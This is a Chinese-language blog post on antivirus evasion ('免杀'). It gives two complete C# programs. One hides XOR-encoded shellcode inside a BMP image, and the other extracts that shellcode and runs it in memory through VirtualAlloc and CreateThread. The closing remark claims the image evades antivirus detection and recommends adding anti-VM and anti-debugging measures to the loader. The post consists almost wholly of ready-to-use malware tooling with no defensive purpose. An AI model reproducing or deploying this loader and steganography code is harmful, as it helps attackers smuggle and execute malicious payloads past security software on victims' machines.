【免杀】图片隐写shellcode

写入shellcode(C#):

using System;
using System.IO;

class Program
{
    private static bool IsBmpFile(string filePath)
    {
        try
        {
            using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
            using (BinaryReader reader = new BinaryReader(stream))
            {
                string fileclass = "";
                for (int i = 0; i < 2; i++)
                {
                    fileclass += reader.ReadByte().ToString("X2");
                }

                return fileclass == "424D"; // 'BM' in hex
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"[!] Error reading file: {ex.Message}");
            return false;
        }
    }

    static void Main(string[] args)
    {
        string Image_File = "test.bmp"; // Update this to your BMP file path
        byte[] shellcode = new byte[893] { your shellcode };


        if (!IsBmpFile(Image_File))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: Not a valid BMP file.");
            return;
        }

        byte[] xBmp_Temp = File.ReadAllBytes(Image_File);
        if (xBmp_Temp.Length < (shellcode.Length + 54))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: The picture is too small, please choose a bigger picture!");
            return;
        }

        int start = xBmp_Temp.Length - shellcode.Length;
        for (int i = 0; i < shellcode.Length; i++)
        {
            byte t = (byte)(shellcode[i] ^ 0x99);
            xBmp_Temp[start + i] = t;
            if (i == 0)
            {
                Console.Write("[>] Injecting Encoded Shellcode (length {0}) : ", shellcode.Length);
            }
            if (i <= 16)
            {
                Console.Write($"{t:X2} ");
            }
        }

        using (FileStream fs = new FileStream(Image_File, FileMode.Open, FileAccess.Read))
        {
            byte[] array = new byte[4];
            fs.Seek(18, SeekOrigin.Begin);
            fs.Read(array, 0, 4);
            int width = BitConverter.ToInt32(array, 0);
            fs.Seek(22, SeekOrigin.Begin);
            fs.Read(array, 0, 4);
            int height = BitConverter.ToInt32(array, 0);

            int line = (shellcode.Length % width == 0) ? (shellcode.Length / width) : (shellcode.Length / width + 1);
            int new_height = height - line;
            byte[] intBuff = BitConverter.GetBytes(new_height);

            for (int i = 0; i < 4; i++)
            {
                xBmp_Temp[22 + i] = intBuff[i];
            }

            intBuff = BitConverter.GetBytes(shellcode.Length);
            for (int i = 0; i < 4; i++)
            {
                xBmp_Temp[2 + i] = intBuff[i];
            }
        }

        string out_path = Path.Combine(Environment.CurrentDirectory, "payload.bmp");
        File.WriteAllBytes(out_path, xBmp_Temp);

        Console.WriteLine($"\n[+] Shellcode injected successfully and saved to {out_path}");
    }
}

 loader加载器:

using System;
using System.IO;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static bool IsBmpFile(string filePath)
    {
        try
        {
            using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
            using (BinaryReader reader = new BinaryReader(stream))
            {
                string fileclass = "";
                for (int i = 0; i < 2; i++)
                {
                    fileclass += reader.ReadByte().ToString("X2");
                }

                return fileclass == "424D"; // 'BM' in hex
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"[!] Error reading file: {ex.Message}");
            return false;
        }
    }

    static void Main(string[] args)
    {
        string Image_File = "payload.bmp"; // Update this to your modified BMP file path

        if (!IsBmpFile(Image_File))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: Not a valid BMP file.");
            return;
        }

        byte[] xBmp_Temp = File.ReadAllBytes(Image_File);

        // Extract the payload length from the BMP header
        int payloadLength = BitConverter.ToInt32(xBmp_Temp, 2);

        if (xBmp_Temp.Length < (payloadLength + 54))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: The BMP file does not contain a valid payload.");
            return;
        }

        int start = xBmp_Temp.Length - payloadLength;
        byte[] extractedPayload = new byte[payloadLength];

        for (int i = 0; i < payloadLength; i++)
        {
            extractedPayload[i] = (byte)(xBmp_Temp[start + i] ^ 0x99);
        }

        // Store the extracted shellcode in a variable for later use
        byte[] shellcode = extractedPayload;

        Console.Write("[>] Extracted Shellcode (length {0}) : ", payloadLength);
        for (int i = 0; i < shellcode.Length; i++)
        {
            Console.Write($"{shellcode[i]:X2} ");
            if ((i + 1) % 16 == 0)
            {
                Console.WriteLine();
            }
        }

        try
        {
            // Allocate memory and execute the shellcode
            UInt32 MEM_COMMIT = 0x1000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if (funcAddr == IntPtr.Zero)
            {
                throw new Exception("VirtualAlloc failed");
            }

            Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);

            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(IntPtr.Zero, 0, funcAddr, pinfo, 0, ref threadId);
            if (hThread == IntPtr.Zero)
            {
                throw new Exception("CreateThread failed");
            }

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        catch (Exception ex)
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine($"[!] Error executing shellcode: {ex.Message}");
        }
    }
}

总结

图片基本是查杀不到,而loader调用了一些接口会被安全软件进行动调,需要加上一些对抗虚拟机和反动调。

posted @ 2024-07-08 20:48  trymonoly  阅读(121)  评论(0)    收藏  举报